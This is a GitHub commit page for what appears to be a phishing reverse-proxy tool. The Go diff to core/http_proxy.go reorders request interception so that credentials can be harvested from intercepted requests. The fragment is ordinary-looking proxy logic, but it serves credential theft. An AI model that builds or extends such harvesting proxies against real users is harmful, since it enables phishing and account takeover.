Skip to content

Commit

Permalink
credentials can now be harvested from intercepted requests
Browse files Browse the repository at this point in the history
  • Loading branch information
kgretzky committed Apr 1, 2024
1 parent f346c42 commit e3bef94
Showing 1 changed file with 13 additions and 12 deletions.
25 changes: 13 additions & 12 deletions core/http_proxy.go
Original file line number Diff line number Diff line change
Expand Up @@ -603,18 +603,6 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
}

// check if request should be intercepted
if pl != nil {
if r_host, ok := p.replaceHostWithOriginal(req.Host); ok {
for _, ic := range pl.intercept {
//log.Debug("ic.domain:%s r_host:%s", ic.domain, r_host)
//log.Debug("ic.path:%s path:%s", ic.path, req.URL.Path)
if ic.domain == r_host && ic.path.MatchString(req.URL.Path) {
return p.interceptRequest(req, ic.http_status, ic.body, ic.mime)
}
}
}
}
// replace "Host" header
if r_host, ok := p.replaceHostWithOriginal(req.Host); ok {
req.Host = r_host
Expand Down Expand Up @@ -862,6 +850,19 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
}

// check if request should be intercepted
if pl != nil {
if r_host, ok := p.replaceHostWithOriginal(req.Host); ok {
for _, ic := range pl.intercept {
//log.Debug("ic.domain:%s r_host:%s", ic.domain, r_host)
//log.Debug("ic.path:%s path:%s", ic.path, req.URL.Path)
if ic.domain == r_host && ic.path.MatchString(req.URL.Path) {
return p.interceptRequest(req, ic.http_status, ic.body, ic.mime)
}
}
}
}

if pl != nil && len(pl.authUrls) > 0 && ps.SessionId != "" {
s, ok := p.sessions[ps.SessionId]
if ok && !s.IsDone {
Expand Down

0 comments on commit e3bef94

Please sign in to comment.